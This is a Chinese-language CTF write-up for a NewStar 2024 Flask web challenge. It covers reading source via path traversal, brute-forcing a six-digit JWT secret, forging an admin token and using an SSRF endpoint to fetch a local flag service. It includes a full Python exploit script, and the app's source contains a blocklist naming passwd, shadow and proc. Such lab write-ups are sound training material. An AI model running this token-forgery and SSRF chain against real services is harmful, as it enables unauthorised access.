NewStar 这“照片”是你吗 web wp

源码提示:

image-20241028100322398

为什么没有Nginx或Apache就能说明服务器脚本能够处理静态文件?

在一般的 Web 服务器部署中,静态资源(如图片、CSS 文件)通常由 Nginx 或 Apache 这样的服务器专门处理,因为它们效率更高,如果页面上的图标或图片等静态资源能正常显示,说明服务器脚本(如 Flask、Django 等)自己在处理这些文件请求,可以推测应用服务器(如 Flask 自带的开发服务器)可能在直接处理所有请求,包括静态文件。

image-20241028100710206

server显示python和werkzeug,查到跟flask有关,flask的启动脚本,源码一般在app,py里

burp抓包,路径穿越:

image-20241028100906090

为甚么是../app.py,路径穿越需要尝试,这个不行也可以试试../../

显示源码:

from flask import Flask, make_response, render_template_string, request, redirect, send_file
import uuid
import jwt
import time

import os
import requests

from flag import get_random_number_string

base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])

print(admin_pass)

app = Flask(__name__)
failure_count = 0

users = {
    'admin': admin_pass,
    'amiya': "114514"
}

def verify_token(token):
    try:
        global failure_count
        if failure_count >= 100:
            return make_response("You have tried too many times! Please restart the service!", 403)
        data = jwt.decode(token, secret_key, algorithms=["HS256"])
        if data.get('user') != 'admin':
            failure_count += 1
            return make_response("You are not admin!<br><img src='/3.png'>", 403)
    except:
        return make_response("Token is invalid!<br><img src='/3.png'>", 401)
    return True

@app.route('/')
def index():
    return redirect("/home")

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    global failure_count
    if failure_count >= 100:
        return make_response("You have tried too many times! Please restart the service!", 403)
    if users.get(username)==password:
        token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
        response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
        response.set_cookie('token', token)
        return response
    else:
        failure_count += 1
    return make_response('Could not verify!<br><img src="/3.png">', 401)

@app.route('/logout')
def logout():
    response = make_response('Logout success!<br><a href="/home">Go to homepage</a>')
    response.set_cookie('token', '', expires=0)
    return response

@app.route('/home')
def home():
    logged_in = False
    try:
        token = request.cookies.get('token')
        data = jwt.decode(token, secret_key, algorithms=["HS256"])
        text = "Hello, %s!" % data.get('user')
        logged_in = True
    except:
        logged_in = False
        text = "You have not logged in!"
        data = {}
    return render_template_string(r'''
        <!DOCTYPE html>
        <html>
        <head>
            <title>Home Page</title>
        </head>
        <body>
            <!-- 图标能够正常显示耶! -->
            <!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
            <!-- 说明服务器脚本能够处理静态文件捏 -->
            <!-- 那源码是不是可以用某些办法拿到呢! -->
            {{ text }}<br>
            {% if logged_in %}
            <a href="/logout">登出</a>
            {% else %}
            <h2>登录</h2>
            <form action="/login" method="post">
                用户名: <input type="text" name="username"><br>
                密码: <input type="password" name="password"><br>
                <input type="submit" value="登录">
            </form>
            {% endif %}
            <br>
            {% if user=="admin" %}
            <a href="/admin">Go to admin panel</a>
            <img src="/2.png">
            {% else %}
            <img src="/1.png">
            {% endif %}
        </body>
        </html>
    ''', text=text, logged_in=logged_in, user=data.get('user'))

@app.route('/admin')
def admin():
    try:
        token = request.cookies.get('token')
        if verify_token(token) != True:
            return verify_token(token)
        resp_text = render_template_string(r'''
            <!DOCTYPE html>
            <html>
            <head>
                <title>Admin Panel</title>
            </head>
            <body>
                <h1>Admin Panel</h1>
                <p>GET Server Info from api:</p>
                <input type="input" value={{api_url}} id="api" readonly>
                <button onclick=execute()>Execute</button>
                <script>
                    function execute() {
                        fetch("{{url}}/execute?api_address="+document.getElementById("api").value,
                                      {credentials: "include"}
                                      ).then(res => res.text()).then(data => {
                            document.write(data);
                        });
                    }
                </script>
            </body>
            </html>
        ''', api_url=request.host_url+"/api", url=request.host_url)
        resp = make_response(resp_text)
        resp.headers['Access-Control-Allow-Credentials'] = 'true'
        return resp
    except:
        return make_response("Token is invalid!<br><img src='/3.png'>", 401)

@app.route('/execute')
def execute():
    token = request.cookies.get('token')
    if verify_token(token) != True:
        return verify_token(token)
    api_address = request.args.get("api_address")
    if not api_address:
        return make_response("No api address!", 400)
    response = requests.get(api_address, cookies={'token': token})
    return response.text

@app.route("/api")
def api():
    token = request.cookies.get('token')
    if verify_token(token) != True:
        return verify_token(token)
    resp = make_response(f"Server Info: {os.popen('uname -a').read()}")
    resp.headers['Access-Control-Allow-Credentials'] = 'true'
    return resp


@app.route("/<path:file>")
def static_file(file):
    print(file)
    restricted_keywords = ["proc", "env", "passwd", "shadow", "hosts", "sys", "log", "etc", 
                           "bin", "lib", "tmp", "var", "run", "dev", "home", "boot"]
    if any(keyword in file for keyword in restricted_keywords):
        return make_response("STOP!", 404)
    if not os.path.exists("./static/" + file):
        return make_response("Not found!", 404)
    return send_file("./static/" + file)


if __name__ == '__main__':
    app.run(host="0.0.0.0",port=5000)

我们按着逻辑看看:

首先是/home

@app.route('/home')
def home():
    logged_in = False
    try:
        token = request.cookies.get('token')
        data = jwt.decode(token, secret_key, algorithms=["HS256"])
        text = "Hello, %s!" % data.get('user')
        logged_in = True
    except:
        logged_in = False
        text = "You have not logged in!"
        data = {}
    return render_template_string(r'''
        <!DOCTYPE html>
        <html>
        <head>
            <title>Home Page</title>
        </head>
        <body>
            <!-- 图标能够正常显示耶! -->
            <!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
            <!-- 说明服务器脚本能够处理静态文件捏 -->
            <!-- 那源码是不是可以用某些办法拿到呢! -->
            {{ text }}<br>
            {% if logged_in %}
            <a href="/logout">登出</a>
            {% else %}
            <h2>登录</h2>
            <form action="/login" method="post">
                用户名: <input type="text" name="username"><br>
                密码: <input type="password" name="password"><br>
                <input type="submit" value="登录">
            </form>
            {% endif %}
            <br>
            {% if user=="admin" %}
            <a href="/admin">Go to admin panel</a>
            <img src="/2.png">
            {% else %}
            <img src="/1.png">
            {% endif %}
        </body>
        </html>
    ''', text=text, logged_in=logged_in, user=data.get('user'))

这里其实就是一开始的渲染,我们看到token,jwt和secret_key

看看secret_key

from flag import get_random_number_string

base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])

users = {
    'admin': admin_pass,
    'amiya': "114514"
}

basekey是uuid去掉-也就是32位的basekey,根据base_key得到一个密码,这里还给了两个用户,我们访问amiya没发现什么,但是通过抓包,我们发现了token

image-20241028102301301

secret_key从flag来,我们看看路径穿越访问试试:

from flask import Flask
import os
import random

def get_random_number_string(length):
    return ''.join([str(random.randint(0, 9)) for _ in range(length)])

get_flag = Flask("get_flag")

FLAG = os.environ.pop("ICQ_FLAG", "flag{test_flag}")

@get_flag.route("/fl4g")
#如何触发它呢?
def flag():
    return FLAG

if __name__ == "__main__":
    get_flag.run(host="127.0.0.1",port=5001)

提示我们,flag要通过/fl4g访问,同时注意到get_flag.run(host=“127.0.0.1”,port=5001)这里是5001而app.py中是5000

get_random….这个就是根据length去生成,length是6,也就是6位的secret_key

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    global failure_count
    if failure_count >= 100:
        return make_response("You have tried too many times! Please restart the service!", 403)
    if users.get(username)==password:
        token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
        response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
        response.set_cookie('token', token)
        return response
    else:
        failure_count += 1
    return make_response('Could not verify!<br><img src="/3.png">', 401)

可以看看登录了,这里有个failure_count,其实我一开始还做了爆破,这里做了限制,我们不能爆破登陆了

我们只有一个办法,伪造token

我们不要陷入一个误区,这题关键不在破解密码,而是得到flag,我们耐心继续看完代码

@app.route('/execute')
def execute():
    token = request.cookies.get('token')
    if verify_token(token) != True:
        return verify_token(token)
    api_address = request.args.get("api_address")
    if not api_address:
        return make_response("No api address!", 400)
    response = requests.get(api_address, cookies={'token': token})
    return response.text

这里的execute首先会验证token然后get一个api_address,然后去返回,这是不是就存在SSRF漏洞,联想到之前的5001

我们可以构建payload:

/execute?api_address=http://localhost:5001/fl4g

来显示Fl4g

这里还需要校验token,我们看看

def verify_token(token):
    try:
        global failure_count
        if failure_count >= 100:
            return make_response("You have tried too many times! Please restart the service!", 403)
        data = jwt.decode(token, secret_key, algorithms=["HS256"])
        if data.get('user') != 'admin':
            failure_count += 1
            return make_response("You are not admin!<br><img src='/3.png'>", 403)
    except:
        return make_response("Token is invalid!<br><img src='/3.png'>", 401)
    return True
    data = jwt.decode(token, secret_key, algorithms=["HS256"])
    if data.get('user') != 'admin':

这里我们发现只校验了user是不是admin,根本每校验密码,不需要我们登录,我们这样只需要爆破得到secret_key,伪造一个token就能发了

我们写脚本:

这里参考官解这照片是你吗 | WriteUp - NewStar CTF 2024

import jwt
import time
import requests

url = "http://8.147.132.32:37713/"

req = requests.post(url+"/login", data={"username":"amiya","password":"114514"})

# 我们之前发现cookie里有token,req.cookies.get('token')也行
token = req.cookies['token']
print("获取到的 token:", token)

# def get_number_string(number,length):
#     return str(number).zfill(length)
# 爆破key,secret是个6位数
# for i in range(1000000):
#     secret_key = get_number_string(i,6)
#     try:
#         decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
#         break
#     except jwt.exceptions.InvalidSignatureError:
#         continue

for i in range(100000, 1000000):
    secret_key = str(i)
    try:
        decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
        print("Secret found:", i)
        break
    except jwt.exceptions.InvalidSignatureError:
        continue

print(f"secret key: {secret_key}")

admin_payload = {
    'user': 'admin',
    'exp': int(time.time()) + 600  # 10分钟后过期
}

admin_token = jwt.encode(admin_payload, secret_key)
print("伪造的 admin Token:", admin_token)

req = requests.get(url+"/execute?api_address=http://localhost:5001/fl4g", cookies={"token":admin_token})

print(f"flag: {req.text}")

flag{7cc594e1-0b23-48f8-ba0c-4b9e06dcc297}

这里有个jwt工具,记录一下crackjwt